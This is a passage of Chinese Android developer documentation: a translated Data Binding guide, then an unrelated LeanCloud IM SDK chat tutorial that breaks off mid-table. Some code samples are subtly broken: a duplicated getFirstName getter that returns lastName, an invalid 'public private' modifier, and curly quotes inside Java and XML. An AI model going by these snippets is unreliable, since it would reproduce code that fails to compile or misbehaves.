   android:layout_width="wrap_content"
   android:layout_height="wrap_content"/>

就像在Java中，java.lang。*是自动导入的。

Variables

在data中可以使用任意数量的variable元素。每一个variable元素描述了一个用于layout文件中Binding表达式的属性。

<data>
    <import type="android.graphics.drawable.Drawable"/>
    <variable name="user"  type="com.example.User"/>
    <variable name="image" type="Drawable"/>
    <variable name="note"  type="String"/>
</data>

该Variable类型在编译时检查，因此如果一个Variable实现了Observable或observable collection，这应该反映在类型中。（译注：需要查找资料来理解）如果variable是一个没有实现Observable接口的基本类或者接口，Variables不会被observed！

当对于多种配置有不同的layout文件时（如，横向或纵向），Variables会被合并。这些layout文件之间必须不能有冲突的Variable定义。

产生的Binding类对于每一个描述的Variables都会有setter和getter。这些Variables会使用默认的Java值 - null（引用类型）、0（int）、false（boolean）等等，直到调用setter时。

自定义 Binding 类名称

默认情况下，Binding类的命名是基于所述layout文件的名称，用大写开头，除去下划线（_）以及（_）后的第一个字母大写，然后添加“Binding”后缀。这个类将被放置在一个模块封装包里的databinding封装包下。例如，所述layout文件contact_item.xml将生成ContactItemBinding。如果模块包是com.example.my.app，那么它将被放置在com.example.my.app.databinding。

Binding类可通过调整data元素中的class属性来重命名或放置在不同的包中。例如：

<data class="ContactItem">
    ...
</data>

在模块封装包的databinding包中会生成名为ContactItem的Binding类。如果要想让该类生成在不同的包种，你需要添加前缀.，如下：

<data class=".ContactItem">
    ...
</data>

在这个情况下，ContactItem类直接在模块包种生成。或者你可以提供整个包名：

<data class="com.example.ContactItem">
    ...
</data>

Includes

通过使用application namespace以及在属性中的Variable名字从容器layout中传递Variables到一个被包含的layout：

<?xml version="1.0" encoding="utf-8"?>
<layout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:bind="http://schemas.android.com/apk/res-auto">
   <data>
       <variable name="user" type="com.example.User"/>
   </data>
   <LinearLayout
       android:orientation="vertical"
       android:layout_width="match_parent"
       android:layout_height="match_parent">
       <include layout="@layout/name"
           bind:user="@{user}"/>
       <include layout="@layout/contact"
           bind:user="@{user}"/>
   </LinearLayout>
</layout>

注意：在name.xml以及contact.xml两个layout文件中必需要有user variable

表达式

常用表达式跟Java表达式很像，以下这些是一样的：


	数学 + - / * %


	字符串连接 +


	逻辑 && ||


	二进制 & | ^


	一元运算 + - ! ~


	移位 >> >>> <<


	比较 == > < >= <=


	instanceof


	分组 ()


	null


	Cast


	方法调用


	数据访问 []


	三元运算 ?:




示例：

android:text="@{String.valueOf(index + 1)}"
android:visibility="@{age < 13 ? View.GONE : View.VISIBLE}"
android:transitionName='@{"image_" + id}'

缺少的操作：


	this


	super


	new


	显式泛型调用




Null合并操作

	
?? - 左边的对象如果它不是null，选择左边的对象；或者如果它是null，选择右边的对象：

android:text="@{user.displayName ?? user.lastName}"





函数上的写法如下：

android:text="@{user.displayName != null ? user.displayName : user.lastName}"

属性引用

第一个已经在前边提到了a）Data Binding表达式：JavaBean引用的简短格式。

当一个表达式引用一个类的属性，它仍使用同样的格式对于字段、getters以及ObservableFields。

android:text="@{user.lastName}"

避免 NullPointerException

Data Binding代码生成时自动检查是否为nulls来避免出现null pointer exceptions错误。例如，在表达式@{user.name}中，如果user是null，user.name会赋予它的默认值（null）。如果你引用user.age，age是int类型，那么它的默认值是0。

集合

常用的集合：arrays、lists、sparse lists以及maps，为了简便都可以使用[]来访问。

<data>
    <import type="android.util.SparseArray"/>
    <import type="java.util.Map"/>
    <import type="java.util.List"/>
    <variable name="list" type="List<String>"/>
    <variable name="sparse" type="SparseArray<String>"/>
    <variable name="map" type="Map<String, String>"/>
    <variable name="index" type="int"/>
    <variable name="key" type="String"/>
</data>
…
android:text="@{list[index]}"
…
android:text="@{sparse[index]}"
…
android:text="@{map[key]}"

字符串

当使用单引号包含属性值时，在表达式中使用双引号很容易：

android:text='@{map["firstName"]}'

使用双引号来包含属性值也是可以的。字符串前后需要使用"`"：

android:text="@{map[`firstName`]}"
android:text="@{map["firstName"]}"

Resources

使用正常的表达式来访问resources也是可行的：

android:padding="@{large? @dimen/largePadding : @dimen/smallPadding}"

格式化字符串和复数可以通过提供参数来判断

android:text="@{@string/nameFormat(firstName, lastName)}"
android:text="@{@plurals/banana(bananaCount)}"

当复数需要多个参数时，所有的参数都会通过：

  Have an orange
  Have %d oranges
android:text="@{@plurals/orange(orangeCount, orangeCount)}"

一些资源需要显式类型判断：

| 类型 |正常引用 | 表达式引用 |
|:-|:-|:-|
|  String[] | @array | @stringArray |  
| int[] | @array | @intArray | 
| TypedArray | @array | @typedArray |
| Animator | @animator | @animator |
| StateListAnimator | @animator | @stateListAnimator |
| color int | @color | @color |
| ColorStateList | @color | @colorStateList |

5. Data 对象

任何Plain old Java object（PO​​JO）可用于Data Binding，但修改POJO不会导致UI更新。Data Binding的真正能力是当数据变化时，可以通知给你的Data对象。有三种不同的数据变化通知机制：Observable对象、ObservableFields以及observable  collections。

当这些可观察Data对象​​绑定到UI，Data对象属性的更改后，UI也将自动更新。

Observable 对象

实现android.databinding.Observable接口的类可以允许附加一个监听器到Bound对象以便监听对象上的所有属性的变化。

Observable接口有一个机制来添加和删除监听器，但通知与否由开发人员管理。为了使开发更容易，一个BaseObservable的基类为实现监听器注册机制而创建。Data实现类依然负责通知当属性改变时。这是通过指定一个Bindable注解给getter以及setter内通知来完成的。

private static class User extends BaseObservable {
   private String firstName;
   private String lastName;
   @Bindable
   public String getFirstName() {
       return this.firstName;
   }
   @Bindable
   public String getFirstName() {
       return this.lastName;
   }
   public void setFirstName(String firstName) {
       this.firstName = firstName;
       notifyPropertyChanged(BR.firstName);
   }
   public void setLastName(String lastName) {
       this.lastName = lastName;
       notifyPropertyChanged(BR.lastName);
   }
}

在编译期间，Bindable注解在BR类文件中生成一个Entry。BR类文件会在模块包内生成。如果用于Data类的基类不能改变，Observable接口通过方便的PropertyChangeRegistry来实现用于储存和有效地通知监听器。

Observable 字段

一些小工作会涉及到创建Observable类，因此那些想要节省时间或者几乎没有几个属性的开发者可以使用ObservableFields。ObservableFields是自包含具有单个字段的observable对象。它有所有基本类型和一个是引用类型。要使用它需要在data对象中创建public final字段：

private static class User extends BaseObservable {
   public final ObservableField<String> firstName =
       new ObservableField<>();
   public final ObservableField<String> lastName =
       new ObservableField<>();
   public final ObservableInt age = new ObservableInt();
}

就是这样，要访问该值，使用set和get方法：

user.firstName.set("Google");
int age = user.age.get();

Observable 集合

一些app使用更多的动态结构来保存数据。Observable集合允许键控访问这些data对象。ObservableArrayMap用于键是引用类型,如String。

ObservableArrayMap<String, Object> user = new ObservableArrayMap<>();
user.put("firstName", "Google");
user.put("lastName", "Inc.");
user.put("age", 17);

在layout文件中，通过String键可以访问map：

<data>
    <import type="android.databinding.ObservableMap"/>
    <variable name="user" type="ObservableMap<String, Object>"/>
</data>
…
<TextView
   android:text='@{user["lastName"]}'
   android:layout_width="wrap_content"
   android:layout_height="wrap_content"/>
<TextView
   android:text='@{String.valueOf(1 + (Integer)user["age"])}'
   android:layout_width="wrap_content"
   android:layout_height="wrap_content"/>

ObservableArrayList用于键是整数：

ObservableArrayList<Object> user = new ObservableArrayList<>();
user.add("Google");
user.add("Inc.");
user.add(17);

在layout文件中，通过索引可以访问list：

<data>
    <import type="android.databinding.ObservableList"/>
    <import type="com.example.my.app.Fields"/>
    <variable name="user" type="ObservableList<Object>"/>
</data>
…
<TextView
   android:text='@{user[Fields.LAST_NAME]}'
   android:layout_width="wrap_content"
   android:layout_height="wrap_content"/>
<TextView
   android:text='@{String.valueOf(1 + (Integer)user[Fields.AGE])}'
   android:layout_width="wrap_content"
   android:layout_height="wrap_content"/>

6. Binding生成

Binding类的生成链接了layout中variables与Views。如前面所讨论的，Binding的名称和包名可以定制。所生成的Binding类都扩展了android.databinding.ViewDataBinding。

创建

Binding应在inflation之后就立马创建，以确保View层次结构不在之前打扰layout中的binding到views上的表达式。有几个方法可以绑定到一个layout。最常见的是在Binding类上使用静态方法.inflate方法载入View的层次结构并且绑定到它只需这一步。还有一个更简单的版本，只需要LayoutInflater还有一个是采用ViewGroup：

MyLayoutBinding binding = MyLayoutBinding.inflate(layoutInflater);
MyLayoutBinding binding = MyLayoutBinding.inflate(LayoutInflater, viewGroup, false);

如果使用不同的机制载入layout，他可一分开绑定：

MyLayoutBinding binding = MyLayoutBinding.bind(viewRoot);

有时Binding不能提前知道，对于这种情况，可以使用DataBindingUtil类来创建Binding：

ViewDataBinding binding = DataBindingUtil.inflate(LayoutInflater, layoutId,
    parent, attachToParent);
ViewDataBinding binding = DataBindingUtil.bindTo(viewRoot, layoutId);

带ID的Views

在layout中对于每个带ID的View会生成一个public final字段。Binding在View层次结构上做单一的传递，提取带ID的Views。这种机制比起某些Views使用findViewById还要快。例如:

<layout xmlns:android="http://schemas.android.com/apk/res/android">
   <data>
       <variable name="user" type="com.example.User"/>
   </data>
   <LinearLayout
       android:orientation="vertical"
       android:layout_width="match_parent"
       android:layout_height="match_parent">
       <TextView android:layout_width="wrap_content"
           android:layout_height="wrap_content"
           android:text="@{user.firstName}"
   android:id="@+id/firstName"/>
       <TextView android:layout_width="wrap_content"
           android:layout_height="wrap_content"
           android:text="@{user.lastName}"
  android:id="@+id/lastName"/>
   </LinearLayout>
</layout>

它会生成如下的Binding类：

public final TextView firstName;
public final TextView lastName;

IDs不像没有Data Bindings那样几乎没有必要，但是仍然会有一些实例需要从代码中访问Views。

Variables

每个Variable会有访问方法。

<data>
    <import type="android.graphics.drawable.Drawable"/>
    <variable name="user"  type="com.example.User"/>
    <variable name="image" type="Drawable"/>
    <variable name="note"  type="String"/>
</data>

它会在Binding中生成setters和getters：

public abstract com.example.User getUser();
public abstract void setUser(com.example.User user);
public abstract Drawable getImage();
public abstract void setImage(Drawable image);
public abstract String getNote();
public abstract void setNote(String note);

ViewStubs

ViewStubs跟正常的Views略有不同。他们开始时是不可见的，当他们要么设置为可见或被明确告知要载入时，它们通过载入另外一个layout取代了自己。

由于ViewStub基本上从View的层次结构上消失，在Binding对象的View也必须消失来允许被收集。因为Views是最后的，一个ViewStubProxy对象取带ViewStub，给开发者获得了ViewStub，当它存在以及还可以访问载入的View层次结构时当ViewStub已被载入时。

当载入另一个layout，为新的布局必需创建一个Binding。因此，ViewStubProxy必需监听ViewStub的OnInflateListener监听器并在那个时候建立Binding。因为只有一个可以存在，ViewStubProxy允许开发者在其上设置一个OnInflateListener它会在建立Binding后调用。

Binding进阶

动态Variables

有时，不知道具体的Binding类，例如，一个RecyclerView适配器对layouts任意操作并不知道具体的Binding类。它仍然必需在onBindViewHolder期间赋值给Binding。

在这个例子中，该RecyclerView绑定的所有layouts有一个“item”的Variable。该BindingHolder有一个getBinding方法返回ViewDataBinding。

public void onBindViewHolder(BindingHolder holder, int position) {
   final T item = mItems.get(position);
   holder.getBinding().setVariable(BR.item, item);
   holder.getBinding().executePendingBindings();
}

直接Binding

当一个variable或observable变化时，binding会在下一帧之前被计划要改变。有很多次，但是在Binding时必须立即执行。要强制执行，使用executePendingBindings()方法。

后台线程

只要它不是一个集合，你可以在后台线程中改变你的数据模型。在判断是否要避免任何并发问题时，Data Binding会对每个Varialbe/field本地化。

7. 属性Setters

每当绑定值的变化，生成的Binding类必须调用setter方法​​。Data Binding框架有可以自定义赋值的方法。

自动Setters

对于一个属性，Data Binding试图找到setAttribute方法。与该属性的namespace并不什么关系，仅仅与属性本身名称有关。

例如，有关TextView的android:text属性的表达式会寻找一个setText(String)的方法。如果表达式返回一个int，Data Binding会搜索的setText(int)方法。注意：要表达式返回正确的类型，如果需要的话使用casting。Data Binding仍会工作即使没有给定名称的属性存在。然后，您可以通过Data Binding轻松地为任何setter“创造”属性。例如，DrawerLayout没有任何属性，但大量的setters。您可以使用自动setters来使用其中的一个。

<android.support.v4.widget.DrawerLayout
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    app:scrimColor="@{@color/scrim}"
    app:drawerListener="@{fragment.drawerListener}"/>

重命名的Setters

一些有setters的属性按名称并不匹配。对于这些方法，属性可以通过BindingMethods注解相关联。这必须与一个包含BindingMethod注解的类相关联，每一个用于一个重命名的方法。例如，android:tint属性与setImageTintList相关联，而不与setTint相关。

@BindingMethods({
       @BindingMethod(type = "android.widget.ImageView",
                      attribute = "android:tint",
                      method = "setImageTintList"),
})

以上例子，开发者需要重命名setters是不太可能了，android架构属性已经实现了。

自定义Setters

有些属性需要自定义绑定逻辑。例如，对于android:paddingLeft属性并没有相关setter。相反，setPadding(left, top, right, bottom)是存在在。一个带有BindingAdapter注解的静态绑定适配器方法允许开发者自定义setter如何对于一个属性的调用。

Android的属性已经创造了BindingAdapters。举例来说，对于paddingLeft：

@BindingAdapter("android:paddingLeft")
public static void setPaddingLeft(View view, int padding) {
   view.setPadding(padding,
                   view.getPaddingTop(),
                   view.getPaddingRight(),
                   view.getPaddingBottom());
}

Binding适配器对其他定制类型非常有用。例如，自定义loader可以用来异步载入图像。

当有冲突时，开发人员创建的Binding适配器将覆盖Data Binding默认适配器。

您也可以创建可以接收多个参数的适配器。

@BindingAdapter({"bind:imageUrl", "bind:error"})
public static void loadImage(ImageView view, String url, Drawable error) {
   Picasso.with(view.getContext()).load(url).error(error).into(view);
}

<ImageView app:imageUrl=“@{venue.imageUrl}”
app:error=“@{@drawable/venueError}”/>

如果对于一个ImageViewimageUrl和error都被使用并且imageUrl是一个string类型以及error是一个drawable时，该适配器会被调用。


	匹配的过程中自定义namespaces将被忽略。


	你也可以为Android namespaces写适配器。




8. 转换

对象转换

当从Binding表达式返回一个对象，一个setter会从自动、重命名以及自定义的setters中选择。该对象将被转换为所选择的setter的参数类型。

这是为了方便那些使用ObservableMaps来保存数据。例如：

<TextView
   android:text='@{userMap["lastName"]}'
   android:layout_width="wrap_content"
   android:layout_height="wrap_content"/>

在userMap返回一个对象并且该对象将自动转换为setText(CharSequence)的参数类型。当有关参数类型可能混乱时，开发人员需要在表达式中转换。

自定义转换

有时候转换应该是自动的在特定类型之间。例如，设置背景的时候：

<View
   android:background="@{isError ? @color/red : @color/white}"
   android:layout_width="wrap_content"
   android:layout_height="wrap_content"/>

这里，背景需要Drawable对象，但颜色是一个整数。不管何时有Drawable并且返回值是一个整数，那么整数类型会被转换为ColorDrawable。这个转换是通过使用带有BindingConversion注解的静态方法完成的：

@BindingConversion
public static ColorDrawable convertColorToDrawable(int color) {
   return new ColorDrawable(color);
}

注意：转换仅仅发生在setter级别，因此它是不允许以下混合类型：

<View
   android:background="@{isError ? @drawable/error : @color/white}"
   android:layout_width="wrap_content"
   android:layout_height="wrap_content"/>



---------------------<完>-----------------------

（如有翻译有误或者不理解的地方，请指正）

原文链接：Data Binding Guide (Android)
译者：田浩浩@DockOne




 一步一步给你的 Android app 加入聊天功能
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来源： 一步一步给你的 Android app 加入聊天功能



                    
简介


自去年 LeanCloud 发布实时通信（IM）服务之后，基于用户反馈和工程师对需求的消化和对业务的提炼，上周正式发布了「实时通信 2.0 」。设计理念依然是「灵活、解耦、可组合、可定制」，具体可以参考《实时通信开发指南》，了解 LeanCloud 实时通信的基本概念和模型。


下载和安装


可以到 LeanCloud 官方下载点下载 LeanCloud IM SDK v2 版本。将下载到的 jar 包加入工程即可。


Demo 及示例代码


如果您觉得一点点阅读文档较慢，可以直接看我们的「Demo 代码」，并且下载自己运行一下试试看。


一对一的文本聊天


我们先从最简单的环节入手，看看怎么用 LeanCloud IM SDK 实现一对一文本聊天。


初始化


和 LeanCloud 其他服务一样，实时聊天服务的初始化也是在 Application 的 onCreate 方法中进行的：


public class MyApplication extends Application{

    public void onCreate(){
      ...
      AVOSCloud.initialize(this,"{{appId}}","{{appKey}}");
      ...
    }
}



并且在AndroidManifest.xml中间声明：


<manifest>
   ...

   <application
        android:name=".MyApplication"
        ....>
        ...

        <service android:name="com.avos.avoscloud.PushService" />

        <receiver android:name="com.avos.avoscloud.AVBroadcastReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.USER_PRESENT" />
            </intent-filter>
        </receiver>
        ...
   </application>

</manifest>



接下来我们开始一步一步接入聊天服务。


登录


用户在开始聊天之前，需要先登录 LeanCloud 云端。这个登录并不需要用户名、密码认证，只是与 LeanCloud 云端建立一个长连接，所以只需要传入一个可唯一标识当前用户的 clientId 即可。


在本 SDK 中，我们会为每一个终端用户开启一个 AVIMClient 实例，获取这一实例的方法位于 com.avos.avoscloud.im.v2.AVIMClient 类中，其声明如下：


public static AVIMClient getInstance(String clientId)



SDK 内部会为每一个 clientId 创建唯一的 AVIMClient 实例，同一个 clientId 多次调用该方法，得到的都是同一个结果。所以如果要支持同一个客户端内多账号登录，只要使用不同的 clientId 多次调用该方法即可。LeanCloud IM SDK 本身是支持多账户同时登录的。


得到 AVIMClient 实例之后，我们需要登录 LeanCloud 云端。这是通过调用 AVIMClient 的 open 方法实现的，其声明如下：


public void open(final AVIMClientCallback callback)



open 函数返回的时候，会把 AVIMClient 实例和 AVException 信息（如果发生错误的话）传给 AVIMClientCallback 回调接口。


好了，我们现在来实际看一下这个过程如何实现。假定聊天发起方名叫 Tom，为直观起见，我们使用用户名来作为 clientId 登录聊天系统（LeanCloud 云端只要求 clientId 在应用内唯一即可，具体用什么数据由应用层决定），代码如下：


AVIMClient imClient = AVIMClient.getInstance("Tom");
imClient.open(new IMClientCallback(){
  @Override
  public void done(AVIMClient client, AVException e) {
    if (null != e) {
      // 出错了，可能是网络问题无法连接 LeanCloud 云端，请检查网络之后重试。
      // 此时聊天服务不可用。
      e.printStackTrace();
    } else {
      // 成功登录，可以开始进行聊天了（假设为 MainActivity）。
      Intent intent = new Intent(currentActivity, MainActivity.class);
      currentActivity.startActivity(intent);
    };
  }
});



建立对话


在本版本 IM SDK 中，开始聊天之前，需要先创建或者加入一个「对话」（AVIMConversation），所有消息都是由某个 client 发往一个「对话」，「对话」内的所有成员会实时收到新消息。


对话支持如下默认属性：



	conversationId，字符串，对话 id，只读，对话创建之后由 LeanCloud 云端赋予一个全局唯一的 id。

	creator，字符串，对话创建者的 clientId，只读，标识对话创建者信息

	members，数组，对话参与者，这里记录了所有的参与者

	name，字符串，对话的名字，可选，可用来对于群组命名

	attributes，Map/Dict，自定义属性，可选，供开发者自己扩展用。

	transient，布尔值，表示对话是否为暂态对话（关于暂态对话，后面会详细解释）



我们可以通过 AVIMClient 来创建一个对话，其函数声明为：


//指定成员、自定义属性，创建对话
public void createConversation(final List<String> conversationMembers, final Map<String, Object> attributes, final AVIMConversationCreatedCallback callback);

//指定成员、名字、自定义属性，创建对话
public void createConversation(final List<String> conversationMembers, String name, final Map<String, Object> attributes, final AVIMConversationCreatedCallback callback);

//指定成员、名字、自定义属性和对话标志，创建对话
public void createConversation(final List<String> conversationMembers, String name, final Map<String, Object> attributes, final boolean isTransient, final AVIMConversationCreatedCallback callback);



各参数的含义如下：



	conversationMembers - 对话初始成员列表，可以为空

	attributes － 自定义属性，可选

	name － 对话的名字，可选

	isTransient － 是否为暂态对话标志，默认为 false

	callback － 结果回调接口，在创建结束之后调用，通知开发者成功与否



接下来我们看看实际如何创建一个对话。假定我们要跟「Bob」这个用户进行聊天，我们先创建一个对话，代码如下：


List<String> clientIds = new ArrayList<String>();
clientIds.add("Tom");
clientIds.add("Bob");

// 我们给对话增加一个自定义属性 type，表示单聊还是群聊
// 常量定义：
// int ConversationType_OneOne = 0; // 两个人之间的单聊
// int ConversationType_Group = 1;  // 多人之间的群聊
Map<String, Object> attr = new HashMap<String, Object>();
attr.put("type", ConversationType_OneOne);

imClient.createConversation(clientIds, attr, new AVIMConversationCreatedCallback() {
  @Override
  public void done(AVIMConversation conversation, AVException e) {
    if (null != conversation) {
      // 成功了，这时候可以显示对话的 Activity 页面（假定为 ChatActivity）了。
      Intent intent = new Intent(this, ChatActivity.class);
      Intent.putExtra(“conversation”, conversation);
      startActivity(intent);
    }
  }
});




  建立的「对话」在控制台怎么查看

  
  如你所见，我们创建一个对话的时候，指定了成员（Tom 和 Bob）和一个额外的属性（{type: 0}）。这些数据保存到云端后，你在 控制台 -> 存储 -> 数据 里面会看到，_Conversation 表中增加了一条记录，新记录的 m 属性值为["Tom", "Bob"]，attr 属性值为{"type":0}。如你所料，m 属性就是对应着成员列表，attr 属性就是用户增加的额外属性值（以对象的形式存储）。




发送消息


通过 AVIMConversation 的 sendMessage 族方法，可以将消息发往目标对话。方法声明如下：


// 直接发送一条消息，在大多数情况下，你该调用这个方法
public void sendMessage(AVIMMessage message, final AVIMConversationCallback callback);

// 发送消息时，指定特殊的消息选项，用来发送特别的消息
public void sendMessage(final AVIMMessage message, final int messageFlag, final AVIMConversationCallback callback);



各参数的含义如下：



	message - 消息实例

	messageFlag － 消息选项（普通消息，暂态消息，待回执消息），可选，默认值是普通消息

	callback － 结果回调接口，在发送结束之后调用，通知开发者成功与否



接下来我们试着发送一条普通文本消息。示例代码如下：


AVIMMessage message = new AVIMMessage();
message.setContent("hello");
conversation.sendMessage(message, new AVIMConversationCallback() {
  @Override
  public void done(AVException e) {
    if (null != e) {
      // 出错了。。。
      e.printStackTrace();
    } else {
      Logger.d("发送成功，msgId=" + message.getMessageId());
    }
  }
});



好了，这样一条消息就发送过去了。但是问题来了，对于「Bob」而言，他怎么才能收到别人发给他的消息呢？


消息接收


在 Bob 这一端，要能接收到消息，需要如下几步：


1，进行初始化；


2，准备好自己的 AVIMMessageHandler，响应新消息到达通知。


在本版本 IM SDK 中，我们设计的框架是将消息类型与具体的 handler 类绑定起来，这样开发者可以为不同类型的消息设置不同的 handler，处理起来更加灵活自由。这一绑定过程是通过 com.avos.avoscloud.im.v2.AVIMMessageManager 类的 void registerMessageHandler(Class<? extends AVIMMessage> clazz, MessageHandler<?> handler) 函数实现的。AVIMMessageManager 类中还有一个方法 void registerDefaultMessageHandler(AVIMMessageHandler handler) 则用来指定全局默认的消息处理 handler。


AVIMMessageHandler 的主要函数如下：


public void onMessage(AVIMMessage message, AVIMConversation conversation, AVIMClient client);


对于 Tom 发过来的消息，要接收并显示出来，我们只需实现 onMessage 方法即可，示例代码如下：


class CustomMessageHandler extends AVIMMessageHandler {
  @Override
  public void onMessage(AVIMMessage message, AVIMConversation conversation, AVIMClient client) {
    // 新消息到来了。在这里增加你自己的处理代码。
    String msgContent = message.getContent();
    Logger.d(conversation.getConversationid() + " 收到一条新消息：" + msgContent);
  }
}



3，进行登录，代码也与发送端一样。


Bob 这边要接收到 Tom 发过来的消息，其完整流程如下：


// 自定义消息响应类
class CustomMessageHandler extends AVIMMessageHandler {
  @Override
  public void onMessage(AVIMMessage message, AVIMConversation conversation, AVIMClient client) {
    // 新消息到来了。在这里增加你自己的处理代码。
    String msgContent = message.getContent();
    Logger.d(conversation.getConversationid() + " 收到一条新消息：" + msgContent);
  }
}

// application 的初始化部分
public void onCreate(){
  ...
  AVOSCloud.initialize(this,"{{appId}}","{{appKey}}");
  AVIMMessageManager.registerDefaultMessageHandler(new CustomMessageHandler());
  ...
}

// 用户登录部分
AVIMClient imClient = AVIMClient.getInstance("Bob");
imClient.open(new IMClientCallback(){
  @Override
  public void done(AVIMClient client, AVException e) {
    if (null != e) {
      // 出错了，可能是网络问题无法连接 LeanCloud 云端，请检查网络之后重试。
      // 此时聊天服务不可用。
      e.printStackTrace();
    } else {
      // 成功登录，可以开始进行聊天了。
    };
  }
});





  注意！

  
  AVIMMessageManager.registerDefaultMessageHandler() 一定要在 AVIMClient.open() 之前调用，否则可能导致服务器发回来的部分消息丢失。




退出登录


在 app 退出的时候，或者切换用户的时候，我们需要断开与 LeanCloud 实时通信服务的长连接，这时候需要调用 AVIMClient.close(final AVIMClientCallback callback) 函数。一般情况下，这个函数都会关闭连接并立刻返回，这时候 Leancloud 实时通信服务端就会认为当前用户已经下线。


几个主要的回调接口


从上面的例子中可以看到，要接收到别人给你发送的消息，需要重载 AVIMMessageHandler 类。从 v2 版开始，LeanCloud IM SDK 大量采用回调来反馈操作结果，但是对于一些被动的消息通知，则还是采用接口来实现的，包括：



	当前网络出现变化

	对话中有新的消息

	对话中有新成员加入

	对话中有成员离开

	被邀请加入某对话

	被踢出对话



LeanCloud IM SDK 内部使用了三种接口来响应这些事件。


网络事件响应接口


主要用来处理网络变化事件，接口定义在 AVIMClientEventHandler，主要函数为：



	
void onConnectionPaused(AVIMClient client) 指网络连接断开事件发生，此时聊天服务不可用。

	
void onConnectionResume(AVIMClient client) 指网络连接恢复正常，此时聊天服务变得可用。



在网络中断的情况下，所有的消息收发和对话操作都会出现问题。


通过 AVIMClient.setClientEventHandler(AVIMClientEventHandler handler) 可以设定全局的 ClientEventHandler。


对话成员变化响应接口


主要用来处理对话中成员变化的事件，接口定义在 AVIMConversationEventHandler,主要函数为：



	
onMemberLeft(AVIMClient client, AVIMConversation conversation, List<String> members, String kickedBy) 对话中有成员离开时所有剩余成员都会收到这一通知。参数意义说明如下：


	client 指已经登录的 client，因为支持一个客户端多账户登录，每个账户会对应一个 client

	conversation 指目标对话；

	members 指离开的成员列表；

	kickedBy 表示踢人者的 id；





	
onMemberJoined(AVIMClient client, AVIMConversation conversation, List<String> members, String invitedBy) 对话中有新成员加入时所有成员都会收到这一通知。参数意义说明如下：


	client 指已经登录的 client，因为支持一个客户端多账户登录，每个账户会对应一个 client

	conversation 指目标对话；

	members 指加入的新成员列表；

	invitedBy 表示邀请者的 id





	
onKicked(AVIMClient client, AVIMConversation conversation, String kickedBy) 当前用户被踢出对话的通知，参数意义说明如下：


	client 指已经登录的 client，因为支持一个客户端多账户登录，每个账户会对应一个 client

	conversation 指目标对话；

	kickedBy 表示踢人者的 id





	
onInvited(AVIMClient client, AVIMConversation conversation, String operator) 当前用户被邀请加入对话的通知。参数意义说明如下：


	client 指已经登录的 client，因为支持一个客户端多账户登录，每个账户会对应一个 client

	conversation 指目标对话；

	operator 表示邀请者的 id







通过 AVIMMessageManager.setConversationEventHandler(AVIMConversationEventHandler handler) 可以设置全局的 ConversationEventHandler。


消息响应接口


主要用来处理新消息到达事件，接口定义在 MessageHandler，AVIMMessageHandler 是一个空的实现类，我们应该通过重载 AVIMMessageHandler 的相关方法来完成消息处理。主要的方法有：



	
onMessage(AVIMMessage message, AVIMConversation conversation, AVIMClient client) 指接收到新的消息。参数意义说明如下：


	client 指已经登录的 client，因为支持一个客户端多账户登录，每个账户会对应一个 client

	conversation 指目标对话；

	message 表示消息实例





	
onMessageReceipt(AVIMMessage message, AVIMConversation conversation, AVIMClient client) 自己发送的消息被对方接收时会收到此通知，各参数意义同上。



通过 AVIMMessageManager.registerDefaultMessageHandler(handler) 可以设置全局的 MessageHandler。


我们实现这三类接口，就可以处理所有的通知消息了。示例代码如下：


// 处理网络状态变化事件
class CustomNetworkHandler extends AVIMClientEventHandler {
  @Override
  public void onConnectionPaused(AVIMClient client) {
    // 请按自己需求改写
    Logger.d("connect paused");
  }

  @Override
  public void onConnectionResume(AVIMClient client) {
    // 请按自己需求改写
    Logger.d("connect resume");
  }
}

// 处理对话成员变化事件
class CustomConversationHandler extends AVIMConversationEventHandler {
  public private Context gContext = null;
  private void toast(String str) {
    Toast.makeText(gContext, str, Toast.LENGTH_SHORT).show();
  }
  private void toast(Context context, String str) {
    Toast.makeText(context, str, Toast.LENGTH_SHORT).show();
  }

  @Override
  public void onMemberLeft(AVIMClient client, AVIMConversation conversation, List<String> members, String kickedBy) {
    // 请按自己需求改写
    toast(MsgUtils.nameByUserIds(members) + " left, kicked by " + MsgUtils.nameByUserId(kickedBy));
    //注：MsgUtils 是一个辅助类，nameByUserIds 用来将 userId 转换成用户名
  }

  @Override
  public void onMemberJoined(AVIMClient client, AVIMConversation conversation, List<String> members, String invitedBy) {
    // 请按自己需求改写
    toast(MsgUtils.nameByUserIds(members) + " joined , invited by " + MsgUtils.nameByUserId(invitedBy));
    //注：MsgUtils 是一个辅助类，nameByUserIds 用来将 userId 转换成用户名
  }

  @Override
  public void onKicked(AVIMClient client, AVIMConversation conversation, String kickedBy) {
    // 请按自己需求改写
    toast("you are kicked by " + MsgUtils.nameByUserId(kickedBy));
  }

  @Override
  public void onInvited(AVIMClient client, AVIMConversation conversation, String operator) {
    // 请按自己需求改写
    toast("you are invited by " + MsgUtils.nameByUserId(operator));
  }
};

// 处理新消息到达事件
class CustomMsgHandler extends AVIMMessageHandler {
  @Override
  public void onMessage(AVIMMessage message, AVIMConversation conversation, AVIMClient client) {
    // 请按自己需求改写
    String msgContent = message.getContent();
    Logger.d(conversation.getConversationid() + " 收到一条新消息：" + msgContent);
  }

  @Override
  public void onMessageReceipt(AVIMMessage message, AVIMConversation conversation, AVIMClient client) {
    // 请按自己需求改写
    Logger.d("发往对话 " + conversation.getConversationid() + " 的消息 "+ message.getMessageId() +" 已被接收");
  }
}

// 设置事件响应接口
AVIMClient.setClientEventHandler(new CustomNetworkHandler());
AVIMMessageManager.setConversationEventHandler(new CustomConversationHandler());
AVIMMessageManager.registerDefaultMessageHandler(new CustomMsgHandler());



支持富媒体的聊天消息


上面的代码演示了如何发送简单文本信息，但是现在的交互方式已经越来越多样化，图像、语音、视频已是非常普遍的消息类型。v2 版的 IM SDK 已经可以很好地支持这些富媒体消息，具体说明如下：


基类：AVIMTypedMessage


我们默认支持文本、图像、语音、视频、文件、地理位置等富媒体消息，所有这些消息类型都有一个共同的基类：AVIMTypedMessage，其声明为


public abstract class AVIMTypedMessage extends AVIMMessage {
  public AVIMTypedMessage();

  public int getMessageType();

  @Override
  public final String getContent();

  @Override
  public final void setContent(String content);
}



这里我们为每一种富媒体消息定义了一个消息类型，LeanCloud SDK 自身使用的类型是负数（如下面列表所示），所有正数留给开发者自定义扩展类型使用，0 作为「没有类型」被保留起来。




	消息
  	对应的消息类型





	文本消息
  	-1



	图像消息
  	-2



	音频消息
  	-3



	视频消息
